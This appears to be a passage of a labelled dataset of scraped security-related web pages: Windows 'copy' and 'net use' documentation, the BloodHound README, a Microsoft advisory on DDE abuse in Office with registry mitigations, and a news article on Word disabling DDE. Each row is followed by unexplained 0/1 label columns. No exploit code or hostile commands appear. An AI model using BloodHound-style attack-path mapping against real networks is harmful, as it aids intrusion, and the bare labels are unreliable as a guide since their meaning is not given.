message: File cannot be copied onto itself 0 File(s) copied Combining files If you specify more than one Source, separating entries with a plus sign (+), copy combines the files into a single file. If you use wildcard characters (that is, * or ?) in Source, but you specify a single file name in Destination, copy combines all files matching the file name in Source and creates a single file with the file name specified in Destination. In either case, copy assumes the combined files are ASCII files unless you use /b. Copying zero-length files Copy does not copy files that are 0 bytes long. Use xcopy to copy these files. Changing the time and date of a file If you want to assign the current time and date to a file without modifying the file, use the following syntax: copy /b Source+,, The commas indicate the omission of the Destination parameter. Copying files in subdirectories To copy all of a directory's files and subdirectories, use the xcopy command. For information about xcopy, see Related Topics. The copy command, with different parameters, is available from the Recovery Console. Examples To copy a file called Memo.doc to Letter.doc in the current drive and ensure that an end-of-file character is at the end of the copied file, type: copy memo.doc letter.doc /a To copy a file named Robin.typ from the current drive and directory to an existing directory named Birds that is located on drive C, type: copy robin.typ c:\\birds If the Birds directory does not exist, the file Robin.typ is copied into a file named Birds that is located in the root directory on the disk in drive C. To copy several files into one file, list several Source files, separate the file names with a plus sign (+), and specify a Destination file that you want to contain the resulting combined file. For example, to combine Mar89.rpt, Apr89.rpt, and May89.rpt, which are located on the current drive and directory, and place them in a file named Report on the current drive and directory, type: copy mar89.rpt + apr89.rpt + may89.rpt report When you combine files, copy marks the destination file with the current date and time. If you omit Destination, the files are combined and stored under the name of the file specified first. For example, to combine all four files in Report when a file named Report already exists, type: copy report + mar89.rpt + apr89.rpt + may89.rpt You can also combine several files into one file by using wildcard characters (that is, * or ?). For example, to combine all files in the current directory on the current drive that have the extension .txt into one file named Combin.doc, type: copy *.txt combin.doc If you want to combine several binary files into one file by using wildcard characters, include /b. This prevents Windows XP from treating CTRL+Z as an end-of-file character. For example, type: copy /b *.exe combin.exe Caution If you combine binary files, the resulting file might be unusable due to internal formatting. In the following example, copy combines each file that has a .txt extension with its corresponding .ref file. The result is a file with the same file name but with a .doc extension. Copy combines File1.txt with File1.ref to form File1.doc, and then copy combines File2.txt with File2.ref to form File2.doc, and so on. For example, type: copy *.txt + *.ref *.doc To combine all files with the .txt extension, and then combine all files with the .ref extension into one file named Combin.doc, type: copy *.txt + *.ref combin.doc Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Xcopy Command-line reference A-Z Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","1","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Net use | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Net use 09/11/2009 4 minutes to read In this article Connects a computer to or disconnects a computer from a shared resource, or displays information about computer connections. The command also controls persistent net connections. Used without parameters, net use retrieves a list of network connections. Syntax net use [{DeviceName | \\}] [\\\\ComputerName\\ShareName*[\\volume]] [{Password | **\\}]] [/user:[DomainName\\]UserName*] [/user:[*DottedDomainName\\]UserName] [/user:* [UserName@DottedDomainName] [/savecred] [/smartcard] [{/delete | /persistent:{yes | no}}] net use [DeviceName [/home[{Password | \\}] [/delete:{yes* | no}]] net use [/persistent:{yes | no}] Parameters DeviceName : Assigns a name to connect to the resource or specifies the device to be disconnected. There are two kinds of device names: disk drives (that is, D: through Z:) and printers (that is, LPT1: through LPT3:). Type an asterisk (*) instead of a specific device name to assign the next available device name. \\\\ ComputerName \\ ShareName : Specifies the name of the server and the shared resource. If ComputerName contains spaces, use quotation marks around the entire computer name from the double backslash (\\\\) to the end of the computer name (for example, ""\\\\Computer Name\\Share Name""). The computer name can be from 1 to 15 characters long. \\ volume : Specifies a NetWare volume on the server. You must have Client Service for NetWare installed and running to connect to NetWare servers. Password : Specifies the password needed to access the shared resource. Type an asterisk (*) to produce a prompt for the password. The password is not displayed when you type it at the password prompt. /user : Specifies a different user name with which the connection is made. DomainName : Specifies another domain. If you omit DomainName, net use uses the current logged on domain. UserName : Specifies the user name with which to log on. DottedDomainName : Specifies the fully-qualified domain name for the domain where the user account exists. /savecred : Stores the provided credentials for reuse. /smartcard : Specifies the network connection is to use the credentials on a smart card. If multiple smart cards are available, you are asked to specify the credential. /delete : Cancels the specified network connection. If you specify the connection with an asterisk (*), all network connections are canceled. /persistent: { yes | no } : Controls the use of persistent network connections. The default is the setting used last. Deviceless connections are not persistent. Yes saves all connections as they are made, and restores them at next logon. No does not save the connection being made or subsequent connections. Existing connections are restored at the next logon. Use /delete to remove persistent connections. /home : Connects a user to the home directory. net help command : Displays help for the specified net command. Remarks Connecting and disconnecting from a network resource Use net use to connect to and disconnect from a network resource, and to view your current connections to network resources. You cannot disconnect from a shared directory if you use it as your current drive or an active process is using it. Viewing connection information To view information about a connection, you can do either of the following: Type net use DeviceName to get information about a specific connection. Type net use to get a list of all the computer's connections. Using deviceless connections Deviceless connections are not persistent. Connecting to NetWare servers After you install and run Client Service for NetWare, you can connect to a NetWare server on a Novell network. Use the same syntax that you use to connect to a Windows Networking server, except you must include the volume you to which you want to connect. Using quotation marks If the ServerName that you supply contains spaces, use quotation marks around the text (that is, ""Server Name""). If you omit quotation marks, an error message appears. Examples To assign the disk-drive device name E: to the Letters shared directory on the \\\\Financial server, type: net use e: \\\\financial\\letters To assign (map) the disk-drive device name M: to the directory Mike within the Letters volume on the \\\\Financial NetWare server, type: net use m: \\\\financial\\letters\\mike To connect the user identifier Dan as if the connection were made from the Accounts domain, type: net use d:\\\\server\\share /user:Accounts\\Dan To disconnect from the \\\\Financial\\Public directory, type: net use f: \\\\financial\\public /delete To connect to the resource memos shared on the \\\\Financial 2 server, type: net use k: ""\\\\financial 2"" \\memos To restore the current connections at each logon, regardless of future changes, type: net use /persistent:yes Formatting legend Format Meaning Italic Information that the user must supply Bold Elements that the user must type exactly as shown Ellipsis (...) Parameter that can be repeated several times in a command line Between brackets ([]) Optional items Between braces ({}); choices separated by pipe (|). Example: {even|odd} Set of choices from which the user must choose only one Courier font Code or program output Net services overview Command-line reference A-Z Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1" -"GitHub - BloodHoundAD/BloodHound: Six Degrees of Domain Admin Skip to content Why GitHub? Features \xe2\x86\x92 Code review Project management Integrations Actions Package registry Team management Social coding Documentation Code hosting Customer stories \xe2\x86\x92 Security \xe2\x86\x92 Enterprise Explore Explore GitHub \xe2\x86\x92 Learn & contribute Topics Collections Trending Learning Lab Open source guides Connect with others Events Community forum GitHub Education Marketplace Pricing Plans \xe2\x86\x92 Compare plans Contact Sales Nonprofit \xe2\x86\x92 Education \xe2\x86\x92 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 No suggested jump to results In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 In this repository All GitHub \xe2\x86\xb5 Jump to \xe2\x86\xb5 Sign\xc2 in Sign\xc2 up Watch 320 Star 3,378 Fork 626 BloodHoundAD/BloodHound Code Issues 32 Pull requests 2 Projects 0 Wiki Security Insights Dismiss Join GitHub today GitHub is home to over 40 million developers working together to host and review code, manage projects, and build software together. Sign up Six Degrees of Domain Admin 689 commits 1 branch 22 releases 19 contributors View license PowerShell JavaScript CSS Other PowerShell 59.5% JavaScript 38.6% CSS 1.6% Other 0.3% Branch: master New pull request Find File Clone or download Clone with HTTPS Use Git or checkout with SVN using the web URL. Download ZIP Downloading... Want to be notified of new releases in BloodHoundAD/BloodHound? Sign in Sign up Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching GitHub Desktop... If nothing happens, download GitHub Desktop and try again. Go back Launching Xcode... If nothing happens, download Xcode and try again. Go back Launching Visual Studio... If nothing happens, download the GitHub extension for Visual Studio and try again. Go back rvazarkar Sanitize unzip file names \xe2\x80\xa6 Prevents zip slip attack. Thanks to @_atorralba for the PoC and report Latest commit 6defee9 Sep 4, 2019 Permalink Type Name Latest commit message Commit time Failed to load latest commit information. BloodHoundExampleDB.graphdb Replace example db with new one Jun 10, 2019 Ingestors Update ingestors for 2.2 Jul 3, 2019 src Sanitize unzip file names Sep 4, 2019 .gitignore Ad ingestor output files to .gitignore Oct 18, 2017 .travis.yml Update node version for travis Jun 27, 2019 LICENSE-3RD-PARTY.md JSON ingestion updates Jul 16, 2018 LICENSE.md Create LICENSE.md Aug 6, 2016 README.md Change ""PowerShell Ingestor"" to ""C# data collector"" Jul 4, 2019 appveyor.yml Downgrade npm to 5.2 for rolling release (please work) Sep 17, 2017 deploy.sh Remove ia32 linux builds from deploy Jun 12, 2019 index.html Update to fontawesome 5 Jul 19, 2018 main.js Uncap alert width Jul 1, 2019 package-lock.json Sanitize unzip file names Sep 4, 2019 package.json Sanitize unzip file names Sep 4, 2019 renderer.js New dev environment Jul 26, 2016 server.js New dev environment Jul 26, 2016 webpack.config.development.js Update lots of stuff May 15, 2017 webpack.config.production.js Necessary stuff for building Jul 26, 2016 README.md Downloading BloodHound Binaries Pre-Compiled BloodHound binaries can be found here. The rolling release will always be updated to the most recent source. Tagged releases are considered ""stable"" but will likely not have new features or fixes. About BloodHound To get started with BloodHound, check out the BloodHound Github Wiki. BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify. Defenders can use BloodHound to identify and eliminate those same attack paths. Both blue and red teams can use BloodHound to easily gain a deeper understanding of privilege relationships in an Active Directory environment. BloodHound is developed by @_wald0, @CptJesus, and @harmj0y. A sample database generator can be found here License BloodHound uses graph theory to reveal hidden relationships and attack paths in an Active Directory environment. Copyright (C) 2016-2019 Andrew Robbins, Rohan Vazarkar, Will Schroeder This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see http://www.gnu.org/licenses/. \xc2\xa9 2019 GitHub, Inc. Terms Privacy Security Status Help Contact GitHub Pricing API Training Blog About You can\xe2\x80\x99t perform that action at this time. You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session.","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Microsoft Security Advisory 4053440 | Microsoft Docs Skip to main content Contents Exit focus mode Edit Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Microsoft Security Advisory 4053440 10/11/2017 7 minutes to read In this article Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields Published: November 8, 2017 | Updated: January 9, 2018 Version: 3.0 Executive Summary Microsoft is releasing this security advisory to provide information regarding security settings for Microsoft Office applications. This advisory provides guidance on what users can do to ensure that these applications are properly secured when processing Dynamic Data Exchange (DDE) fields. About Dynamic Data Exchange Microsoft Office provides several methods for transferring data between applications. The DDE protocol is a set of messages and guidelines. It sends messages between applications that share data, and uses shared memory to exchange data between applications. Applications can use the DDE protocol for one-time data transfers and for continuous exchanges in which applications send updates to one another as new data becomes available. Scenario In an email attack scenario, an attacker could leverage the DDE protocol by sending a specially crafted file to the user and then convincing the user to open the file, typically by way of an enticement in an email. The attacker would have to convince the user to disable Protected Mode and click through one or more additional prompts. As email attachments are a primary method an attacker could use to spread malware, Microsoft strongly recommends that customers exercise caution when opening suspicious file attachments. DDE Feature Control Keys Microsoft Office provides several feature control keys that are stored in the registry and are responsible for modifying product functionality, improving support for industry standards, and improving security. Microsoft has documented these feature control keys and recommends enabling specific feature control keys for security reasons. See the following: Office 2016: Secure and control access to Office Office 2013: Secure Office 2013 Microsoft strongly encourages all users of Microsoft Office to review the security-related feature control keys and to enable them. Setting the registry keys described in the following sections disables automatic update of data from linked fields. Update On December 12, 2017, Microsoft released an update for all supported editions of Microsoft Word that allows users to set the functionality of the DDE protocol based on their environment. For more information and to download the update, see ADV170021. Update On January 9, 2018, Microsoft released an update for all supported editions of Microsoft Excel that allows users to set the functionality of the DDE protocol based on their environment. For more information and to download the update, see ADV170021. Mitigating DDE Attack Scenarios Users who wish to take immediate action can protect themselves by manually creating and setting registry entries for Microsoft Office. Use the following instructions to set the registry keys based on the Office applications installed on your system. Warning:\xe2\x80\xafIf you use Registry Editor incorrectly, you could cause serious problems that could require you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems that result from using Registry Editor incorrectly. Use Registry Editor at your own risk. Microrosft recommends that you back up your Registry before making any changes to registry entries. Microsoft Excel Excel depends on the DDE feature to launch documents. To prevent automatic update of links from Excel (including DDE, OLE, and external cell or defined name references), refer to the following table for the registry key version string to set for each version: Office Version Registry Key string Office 2007 12.0 Office 2010 14.0 Office 2013 15.0 Office 2016 16.0 To disable the DDE feature via the user interface: Set File->Options->Trust Center->Trust Center Settings\xe2\x80\xa6->External Content->Security settings for Workbook Links = Disable automatic update of Workbook Links. To disable the DDE feature via the Registry Editor: [HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Excel\\Security] WorkbookLinkWarnings(DWORD) = 2 Impact of mitigation: Disabling this feature could prevent Excel spreadsheets from updating dynamically if disabled in the registry. Data might not be completely up-to-date because it is no longer being updated automatically via live feed. To update the worksheet, the user must start the feed manually. In addition, the user will not receive prompts to remind them to manually update the worksheet. Microsoft Outlook Refer to the following table for the registry key version string to set for each Office version: Office Version Registry Key string Office 2010 14.0 Office 2013 15.0 Office 2016 16.0 For Office 2010 and later versions, to disable the DDE feature via the Registry Editor: [HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Word\\Options\\WordMail] DontUpdateLinks(DWORD)=1 For Office 2007, to disable the DDE feature via the Registry Editor: [HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\12.0\\Word\\Options\\vpref] fNoCalclinksOnopen_90_1(DWORD)=1 Impact of mitigation: Setting this registry key will disable automatic update for DDE field and OLE links. Users can still enable the update by right-clicking on the field and clicking \xe2\x80\x9cUpdate Field\xe2\x80\x9d. Microsoft Publisher A Word document using the DDE protocol that is imbedded within a Publisher document could be a possible attack vector. You can help prevent this attack vector by applying the Word registry key modification. See the following section for the Word registry key values. Microsoft Word See ADV170021 for an update for Microsoft Word that allows users to set the functionality of the DDE protocol based on their environment. Refer to the following table for the registry key version string to set for each Office version: Office Version Registry Key string Office 2010 14.0 Office 2013 15.0 Office 2016 16.0 For Office 2010 and later versions, to disable the DDE feature via the Registry Editor: [HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\\\Word\\Options] DontUpdateLinks(DWORD)=1 For Office 2007, to disable the DDE feature via the Registry Editor: [HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\12.0\\Word\\Options\\vpref] fNoCalclinksOnopen_90_1(DWORD)=1 Impact of mitigation: Setting this registry key will disable automatic update for DDE field and OLE links. Users can still enable the update by right-clicking on the field and clicking \xe2\x80\x9cUpdate Field\xe2\x80\x9d. Windows 10 Fall Creators Update (version 1709) Users of the Windows 10 Fall Creators Update can leverage Windows Defender Exploit Guard to block DDE-based malware with Attack surface reduction (ASR) rules. ASR is a component within Windows Defender Exploit Guard that provides enterprises with a set of built-in intelligence that can block the underlying behaviors used by malicious documents to execute attacks without hindering product operation. By blocking malicious behaviors independent of what the threat or exploit is, ASR can protect enterprises from never-before-seen zero-day attacks like these recently discovered vulnerabilities: CVE-2017-8759, CVE-2017-11292, and CVE-2017-11826. For Office apps, ASR can: Block Office apps from creating executable content Block Office apps from launching child process Block Office apps from injecting into process Block Win32 imports from macro code in Office Block obfuscated macro code Emerging exploits like DDEDownloader use the Dynamic Data Exchange (DDE) popup in Office documents to run a PowerShell downloader; however, in doing so, they launch a child process that the corresponding child process rule blocks. Windows Defender Exploit Guard can be used with Windows Defender Advanced Threat Protection (ATP) to investigate and respond to enterprise-level security risks and issues. To learn more about Windows Defender Exploit Guard and Windows Defender ATP, see: Windows Defender Exploit Guard Windows Defender Advanced Threat Protection Enroll in a free trial for Windows Defender ATP https://blogs.technet.microsoft.com/mmpc/2017/10/23/windows-defender-exploit-guard-reduce-the-attack-surface-against-next-generation-malware/ Microsoft is researching this issue further and will post more information in this article when the information becomes available. Additional Suggested Actions Protect your PC We continue to encourage customers to follow our Protect Your Computer guidance of enabling a firewall, getting software updates, and installing antivirus software. For more information, see Microsoft Safety & Security Center. Keep Microsoft Software Updated Users running Microsoft software should apply the latest Microsoft security updates to help make sure that their computers are as protected as possible. If you are not sure whether your software is up to date, visit Microsoft Update, scan your computer for available updates, and install any high-priority updates that are offered to you. If you have automatic updating enabled and configured to provide updates for Microsoft products, the updates are delivered to you when they are released, but you should verify that they are installed. Other Information Disclaimer The information provided in this advisory is provided ""as is"" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply. Revisions V1.0 (November 8, 2017): Advisory published. V1.1 (November 30, 2017): Updated the Windows 10 Fall Creators Update section with more information about the Attack surface reduction (ASR) rules. This is an informational change only. V2.0 (December 12, 2017): Microsoft has released an update for all supported editions of Microsoft Word that allows users to set the functionality of the DDE protocol based on their environment. For more information and to download the update, see ADV170021. V3.0 (January 9, 2018): Microsoft has released an update for all supported editions of Microsoft Excel that allows users to set the functionality of the DDE protocol based on their environment. For more information and to download the update, see ADV170021. Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks Is this page helpful? Yes No Any additional feedback? Skip Submit Thank you. In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0" -"Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks News Featured Latest Most Cyber Attacks Focus on Just Three TCP Ports Password-Revealing Bug Quickly Fixed in LastPass Extensions Phishing Attack Targets The Guardian's Whistleblowing Site Windows 10 1903 is Now Having Problems with Network Adapters Windows 10 With Chinese IME Installed Causing High CPU Usage Beware of Venmo Scams Targeting Users via Text Messages TFlower Ransomware - The Latest Attack Targeting Businesses Misconfigured Google Calendars Share Events With the World Downloads Latest Most Downloaded AuroraDecrypter FilesLockerDecrypter 360 Total Security Skype Classic AdwCleaner ComboFix RKill Junkware Removal Tool Virus Removal Guides Latest Most Viewed Ransomware Remove the IObyte System Care PUP Remove the Your Windows 10 is not updated Tech Support Scam Remove the Your Windows 10 is damaged and irrelevant Tech Support Scam Remove the Searchgeniusapp.com Search Redirect Remove Security Tool and SecurityTool (Uninstall Guide) How to remove Antivirus 2009 (Uninstall Instructions) How to Remove WinFixer / Virtumonde / Msevents / Trojan.vundo How to remove Google Redirects or the TDSS, TDL3, or Alureon rootkit using TDSSKiller Locky Ransomware Information, Help Guide, and FAQ CryptoLocker Ransomware Information Guide and FAQ CryptorBit and HowDecrypt Information Guide and FAQ CryptoDefense and How_Decrypt Ransomware Information Guide and FAQ Tutorials Latest Popular How to Enable the Windows 10 Tamper Protection Security Feature How to Export a Registry Key in Windows How to Restart the Windows Explorer.exe Process How to Open a Windows Command Prompt How to start Windows in Safe Mode How to remove a Trojan, Virus, Worm, or other Malware How to show hidden files in Windows 7 How to see hidden files in Windows Deals Categories eLearning IT Certification Courses Gear + Gadgets Security Forums More Startup Database Uninstall Database File Database Glossary Chat on Discord Send us a Tip! Welcome Guide Home News Microsoft Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks \xc2 Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks By Catalin Cimpanu December 15, 2017 01:00 AM 3 As part of the December 2017 Patch Tuesday, Microsoft has shipped an Office update that disables the DDE feature in Word applications, after several malware campaigns have abused this feature to install malware. DDE stands for Dynamic Data Exchange, and this is an Office feature that allows an Office application to load data from other Office applications. For example, a Word file can update a table by pulling data from an Excel file every time the Word file is opened. DDE is an old feature, which Microsoft has superseded via the newer Object Linking and Embedding (OLE) toolkit, but DDE is still supported by Office applications. DDE feature abused to install malware In October 2017, security researchers from SensePost published a tutorial on how the DDE feature could be weaponized and abused to distribute malware. Even if DDE has been abused to distribute malware in the '90s, the new methods explained in the SensePost tutorial were quickly adopted by malware distributors, first by FIN7, a group of hackers specialized in hitting financial organizations, and then by distributors of mundane malware. At the time, Microsoft did not consider DDE a vulnerability in the Office suite but said it was just another legitimate feature abused to distribute malware. The reason why Microsoft did not consider DDE attacks to be security issues is that Office shows warnings before opening the files. This is just another case where malware authors have found a creative way of abusing a legitimate feature, like with OLE and macros, for which Microsoft also warns users before running. December 2017 Patch Tuesday disables DDE in Word As new campaigns leveraging the DDE technique started to become more widespread, Microsoft's security team slowly began to change its mind. The first sign was when Microsoft put out Security Advisory 4053440 in mid-October, which contained details about how users could disable the DDE feature in Office applications that support it, such as Word, Outlook, and Excel. This past Tuesday, Microsoft took a radical step to disable DDE inside Word altogether. This has been done by Office Defense in Depth Update ADV170021. This update adds a new Windows registry key that controls the DDE feature's status for the Word app. The default value disables DDE. Here are registry key's values, if users need to re-enable DDE in Word. 1. In the Registry Editor navigate to \\HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\version\\Word\\Security AllowDDE(DWORD) 2. Set the DWORD value based on your requirements as follows: AllowDDE(DWORD) = 0: To disable DDE. This is the default setting after you install the update. AllowDDE(DWORD) = 1: To allow DDE requests to an already running program, but prevent DDE requests that require another executable program to be launched. AllowDDE(DWORD) = 2: To fully allow DDE requests. Microsoft has paid close attention to DDE's recent abuse so much so that ADV170021 also included updates for Word 2003 and 2007, two versions it officially stopped supporting. The company is aware that many users and enterprises still deploy these two versions and has delivered an out-of-band emergency update to protect customers from further abuse. Microsoft will continue to support DDE inside Excel and Outlook, where this feature will remain enabled by default. The company advises users to read Security Advisory 4053440, where it details methods to disable DDE support via GUI options or Windows registry modifications. Related Articles: Microsoft's September 2019 Patch Tuesday Fixes 79 Vulnerabilities Microsoft Releases the September 2019 Security Updates for Office Microsoft Releases September 2019 Office Updates With Fixes, Improvements Microsoft's August 2019 Patch Tuesday Fixes 95 Vulnerabilities Microsoft's Office Online Becomes Office After Rebranding Microsoft Microsoft Office Patch Tuesday Word Catalin Cimpanu Catalin Cimpanu is the Security News Editor for Bleeping Computer, where he covers topics such as malware, breaches, vulnerabilities, exploits, hacking news, the Dark Web, and a few more. Catalin previously covered Web & Security news for Softpedia between May 2015 and October 2016. The easiest way to reach Catalin is via his XMPP/Jabber address at campuscodi@xmpp.is. For other contact methods, please visit Catalin's author page. Previous Article Next Article Comments Occasional - 1 year ago \xc2 \xc2 Obviously, Microsoft did not consider the avalanche of opportunities for intentional abuse, which would follow the change to the Internet paradigm. The roots of the Office Suite run deep into the past (measured in compute cycle years), when installation, updates and malware (though the term was not known), was by floppy disk; and the only networking capabilities available to most was ""sneaker-net"" (people carried the floppy disks between nodes). The mindset then was to enable as many features and conveniences for the end user as possible - that's what sold Office. There was very little thought given to protecting users from themselves, let alone from malicious exploitation. Because the market was driven by compatibility and continuity (you could add new, as long as it would still run the old); mechanisms which had their day (like DDE), were kept in the cellar, just in case someone was still running a custom Office application that required them. Problem is, now anyone, anywhere in the world has access to that cellar - that's something Microsoft did not anticipate. GT500 - 1 year ago \xc2 \xc2 I made .reg files that can be imported into the registry to disable DDE for Word, Excel, and Outlook based on the information linked in the article. There's one for Office 2007, Office 2010, Office 2013, and Office 2016 and they can be found at the following link: https://www.gt500.org/microsoft/Disable_DDE.zip Note that I only have Office 2010, so it's the only one I can test. I copied the registry paths from the Microsoft article linked in this blog post, so in theory they are correct, and should work as expected. Also note that the Office applications effected by these registry entries will need to be closed in order for the changes from the .reg files to take effect. JDMArkansas - 1 year ago \xc2 \xc2 I can see it now: ""Dateline April 1, 2018: General Motors announces that all forward gears on GM cars will now be disabled because it has been shown that they are the ones most often used by hit-and-run drivers to kill pedestrians and other drivers. It is expected that all other Detroit automakers will follow suit shortly."" How long will it be before personal computers will have ALL user-programmable features eliminated from them because of their potential for abuse in malware? Will Microsoft remove VBA from all MS Office products? Will Windows Command Line .BAT programs be eliminated from Windows? Will the only software that is allowed to run on MS Windows computers be that written by Microsoft Corporation and its ""partners?"" The productivity of Windows computers is already seriously crippled by the necessity of continuously-running anti-malware programs and other security features. How long will it take before computer users begin to demand that people convicted of serious computer crimes such as writing and intentionally releasing malware receive serious prison time instead of being hired by computer security firms with multi-million-dollar salaries? I would propose that anyone convicted of computer-related crimes be treated the way that child molesters are treated: Lifelong monitoring and being prohibited from ever owning, using any form of computer-related equipment, or working in any computer-related career for life. Post a Comment Community Rules You need to login in order to post a comment Not a member yet? Register Now You may also like: Popular Stories How to Enable Ransomware Protection in Windows 10 Windows 10 1903 is Now Having Problems with Network Adapters Newsletter Sign Up To receive periodic updates and news from BleepingComputer, please use the form below. Latest Downloads AdwCleaner Version: 7.4.1.0 54M+ Downloads Windows Repair (All In One) Version: 4.5.5 1M+ Downloads Malwarebytes for Mac Version: 3.9.27.2815 24,688 Downloads GPU-Z Version: 2.22.0 18,039 Downloads Malwarebytes Anti-Malware Version: 3.8.3.2965 4M+ Downloads Newsletter Sign Up Follow us: Main Sections News Downloads Virus Removal Guides Tutorials Startup Database Uninstall Database File Database Glossary Community Forums Forum Rules Chat Useful Resources Welcome Guide Sitemap Company About BleepingComputer Contact Us Send us a Tip! Advertising Write for BleepingComputer Social & Feeds Changelog Terms of Use - Privacy Policy Copyright @ 2003 - 2019 Bleeping Computer\xc2\xae LLC - All Rights Reserved Login Username Password Remember Me Sign in anonymously Sign in with Twitter Not a member yet? Register Now Reporter Help us understand the problem. What is going on with this comment? Spam Abusive or Harmful Inappropriate content Strong language Other Learn more about what is not allowed to be posted. Submitting... 